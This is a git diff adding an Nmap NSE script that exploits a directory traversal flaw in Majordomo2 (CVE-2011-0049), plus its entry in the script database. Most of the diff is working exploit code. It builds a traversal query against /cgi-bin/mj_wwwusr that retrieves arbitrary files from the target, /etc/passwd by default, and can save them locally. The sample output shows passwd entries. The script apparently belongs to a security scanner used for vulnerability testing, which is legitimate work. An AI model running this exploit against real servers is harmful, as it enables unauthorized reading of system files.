diff --git a/scripts/http-majordomo2-dir-traversal.nse b/scripts/http-majordomo2-dir-traversal.nse
new file mode 100644
index 000000000..6b026ef3f
--- /dev/null
+++ b/scripts/http-majordomo2-dir-traversal.nse
@@ -0,0 +1,90 @@
+description = [[
+Exploits a directory traversal vulnerability existing in Majordomo2 to retrieve remote files. (CVE-2011-0049). 
+
+Vulnerability originally discovered by Michael Brooks.
+
+For more information about this vulnerability:
+* http://www.mj2.org/
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0049
+* http://www.exploit-db.com/exploits/16103/
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-majordomo2-dir-traversal <host/ip>
+--
+-- @output
+-- PORT   STATE SERVICE 
+-- 80/tcp open  http    syn-ack
+-- | http-majordomo2-dir-traversal: /etc/passwd was found:
+-- | 
+-- | root:x:0:0:root:/root:/bin/bash
+-- | bin:x:1:1:bin:/bin:/sbin/nologin
+-- |  
+--
+-- @args http-majordomo2-dir-traversal.rfile Remote file to download. Default: /etc/passwd
+-- @args http-majordomo2-dir-traversal.uri URI Path to mj_wwwusr. Default: /cgi-bin/mj_wwwusr
+-- @args http-majordomo2-dir-traversal.outfile If set it saves the remote file to this location.
+--
+-- Other arguments you might want to use with this script:
+-- * http.useragent - Sets user agent
+-- 
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "vuln", "exploit"}
+
+require "http"
+require "shortport"
+
+portrule = shortport.http
+
+local MAJORDOMO2_EXPLOIT_QRY = "?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../.."
+local MAJORDOMO2_EXPLOIT_URI = "/cgi-bin/mj_wwwusr"
+local DEFAULT_REMOTE_FILE = "/etc/passwd"
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+local function write_file(filename, contents)
+  local f, err = io.open(filename, "w")
+  if not f then
+    return f, err
+  end
+  f:write(contents)
+  f:close()
+  return true
+end
+
+---
+-- MAIN
+---
+action = function(host, port)
+  local response, rfile, rpath, uri, evil_uri, rfile_content, filewrite
+  local output_lines = {}
+
+  filewrite = nmap.registry.args["http-majordomo2-dir-traversal.outfile"]
+  uri = nmap.registry.args["http-majordomo2-dir-traversal.uri"] or MAJORDOMO2_EXPLOIT_URI
+  rfile = nmap.registry.args["http-majordomo2-dir-traversal.rfile"] or DEFAULT_REMOTE_FILE
+  evil_uri = uri..MAJORDOMO2_EXPLOIT_QRY..rfile
+
+  stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(host), evil_uri)
+  response = http.get(host, port, evil_uri)
+  if response.body and response.status==200 then
+    if response.body:match("unknowntopic") then
+      stdnse.print_debug(1, "%s:[Error] The server is not vulnerable, '%s' was not found or the web server has insufficient permissions to read it", SCRIPT_NAME, rfile)
+      return
+    end
+    _, _, rfile_content = string.find(response.body, '<pre>(.*)<!%-%- Majordomo help_foot format file %-%->')
+    output_lines[#output_lines+1] = rfile.." was found:\n"..rfile_content
+    if filewrite then
+      local status, err = write_file(filewrite,  rfile_content)
+      if status then
+        output_lines[#output_lines+1] = string.format("%s saved to %s\n", rfile, filewrite)
+      else
+        output_lines[#output_lines+1] = string.format("Error saving %s to %s: %s\n", rfile, filewrite, err)
+      end
+    end
+    return stdnse.strjoin("\n", output_lines)
+  end
+end
diff --git a/scripts/script.db b/scripts/script.db
index 7d5e47a5e..35704f14f 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -68,6 +68,7 @@ Entry { filename = "http-favicon.nse", categories = { "default", "discovery", "s
 Entry { filename = "http-form-brute.nse", categories = { "auth", "intrusive", } }
 Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } }
 Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
 Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } }
 Entry { filename = "http-methods.nse", categories = { "default", "safe", } }
 Entry { filename = "http-open-proxy.nse", categories = { "default", "discovery", "external", "safe", } }